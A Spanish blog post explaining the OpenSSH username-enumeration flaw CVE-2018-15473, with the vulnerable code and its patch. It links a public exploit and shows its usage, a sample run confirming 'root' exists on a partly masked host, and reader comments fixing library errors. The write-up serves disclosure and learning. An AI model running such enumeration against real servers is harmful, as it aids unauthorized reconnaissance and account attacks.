Vulnerabilidad de enumeración de usuarios en OpenSSH (CVE-2018-15473)

El 15 de agosto de 2018 la gente de Qualys publicó en OSS-Security un aviso en el que comunicaban que, analizando los últimos commits de OpenSSH, se dieron cuenta de que se aplicó un parche bastante "curioso":

https://github.com/openbsd/src/commit/779974d35b4859c07bc3cb8a12c74b43b0a7d1e0

Date:   Tue Jul 31 03:10:27 2018 +0000
    delay bailout for invalid authenticating user until after the packet
    containing the request has been fully parsed. Reported by Dariusz Tytko
    and Michal Sajdak; ok deraadt

Sin este parche un atacante remoto podría probar fácilmente si un determinado usuario existe o no (enumeración de nombres de usuario):
87 static int
  88 userauth_pubkey(struct ssh *ssh)
  89 {
 ...
 101         if (!authctxt->valid) {
 102                 debug2("%s: disabled because of invalid user", __func__);
 103                 return 0;
 104         }
 105         if ((r = sshpkt_get_u8(ssh, &have_sig)) != 0 ||
 106             (r = sshpkt_get_cstring(ssh, &pkalg, NULL)) != 0 ||
 107             (r = sshpkt_get_string(ssh, &pkblob, &blen)) != 0)
 108                 fatal("%s: parse request failed: %s", __func__, ssh_err(r));

Es decir, con ésto el atacante puede intentar autenticar a un usuario con un paquete mal formado (por ejemplo un paquete truncado) y:

- Si el usuario no es válido (no existe), userauth_pubkey() hace un return inmediatamente, y el servidor envía un SSH2_MSG_USERAUTH_FAILURE al atacante.
- si el usuario es válido (existe), entonces sshpkt_get_u8 () falla y el servidor llama a fatal() y cierra su conexión con el atacante.

Las versiones de OpenSSH desde la 2.2 hasta la 7.7 son vulnerables y, básicamente, el equipo de Qualys estaba denunciando que ese problema debía tener un CVE y lo publicaron en oss-security porque si lo detectaron ellos cualquier otro podría haberlo hecho también y aprovecharse (mis dieses).

Su mensaje hizo efecto y el MITRE le asignó el CVE-2018-15473.

Un par de semanas después el equipo de ShelIntel publicó un exploit para esta vulnerabilidad y el resultado es un bonito script en Python capaz de enumerar usuarios en cientos de miles de servidores con OpenSSH que todavía no han sido actualizados...

El repo lo tenéis en https://github.com/Rhynorater/CVE-2018-15473-Exploit donde encontraréis además una imagen de docker para probar. También lo tenemos en EDB y MSF:

- https://www.exploit-db.com/exploits/45233/
- https://www.rapid7.com/db/search?q=CVE-2018-15473

Uso:
usage: 45233.py [-h] [--port PORT] [--threads THREADS]
                [--outputFile OUTPUTFILE] [--outputFormat {list,json,csv}]
                (--username USERNAME | --userList USERLIST)
                hostname

positional arguments:
  hostname              The target hostname or ip address

optional arguments:
  -h, --help            show this help message and exit
  --port PORT           The target port
  --threads THREADS     The number of threads to be used
  --outputFile OUTPUTFILE
                        The output file location
  --outputFormat {list,json,csv}
                        The output file location
  --username USERNAME   The single username to validate
  --userList USERLIST   The list of usernames (one per line) to enumerate
                        through

Ejemplo:

# nmap -p22 -sV -sC x.x.21.19

Starting Nmap 7.60 ( https://nmap.org ) at 2018-10-03 01:27 CEST
Nmap scan report for xxxxxx (x.x.21.19)
Host is up (0.013s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.2 (protocol 2.0)
| ssh-hostkey:
|   1024 70:6b:29:42:b3:d3:e7:8d:12:06:2d:f8:40:5d:b8:c9 (DSA)
|   2048 23:33:92:5e:53:6c:79:87:43:d3:22:e0:b4:24:62:7e (RSA)
|_  256 01:8d:05:c7:92:c7:27:0b:d0:b1:1a:d4:49:c2:86:07 (ECDSA)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 4.33 seconds

# python 45233.py --username root x.x.21.19
root is a valid user!

# python 45233.py --username root2 x.x.21.19
root2 is not a valid user!

4 comentarios :

  1. Vaya. Me casca en la primera linea.
    old_parse_service_accept = paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT]
    TypeError: 'property' object has no attribute '__getitem__'

    ResponderEliminar
    Respuestas
    1. ¿Qué distro usas? En Kali funciona bien.

      Eliminar
    2. Me salía el mismo error. Encontré que se trata de un problema de retrocompatibilidad.

      Intenta con esto: pip install paramiko==2.0.8

      Así se solucionó el problema conmigo :)

      Eliminar
  2. sustituye _handler_table por _client_handler_table

    ResponderEliminar